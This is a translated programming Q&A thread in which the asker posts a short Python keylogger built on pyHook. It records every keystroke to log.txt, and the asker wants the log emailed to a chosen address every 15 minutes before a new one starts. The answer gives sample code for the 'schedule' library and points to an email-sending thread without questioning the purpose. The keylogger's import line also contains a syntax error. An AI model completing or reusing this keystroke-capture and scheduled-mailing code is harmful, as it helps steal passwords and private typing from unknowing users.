Sending emails at scheduled time

3

I would like to know how I can send my log.txt file to a desired email at a defined time (eg 15 min)? And after being sent, the process restarts and creates a new log.txt.

import pythoncom, pyHook,

def registrar(evento):
    arquivo = open('log.txt', 'a')
    teclas = chr(evento.Ascii)
    arquivo.write(teclas)

hook = pyHook.HookManager()
hook.KeyDown = registrar
hook.HookKeyboard()

pythoncom.PumpMessages()
    
asked by anonymous 15.06.2017 / 16:57

1 answer

3

Schedule:

"Schedule allows you to run Python (or any other callable) functions periodically at predetermined intervals using a friendly syntax."

Repo example in git:

$ pip install schedule

import schedule
import time

def job():
    print("I'm working...")

schedule.every(10).minutes.do(job)
schedule.every().hour.do(job)
schedule.every().day.at("10:30").do(job)
schedule.every().monday.do(job)
schedule.every().wednesday.at("13:15").do(job)

while True:
    schedule.run_pending()
    time.sleep(1)

Sending emails :

To send emails in python view this topic.

    
18.06.2017 / 15:27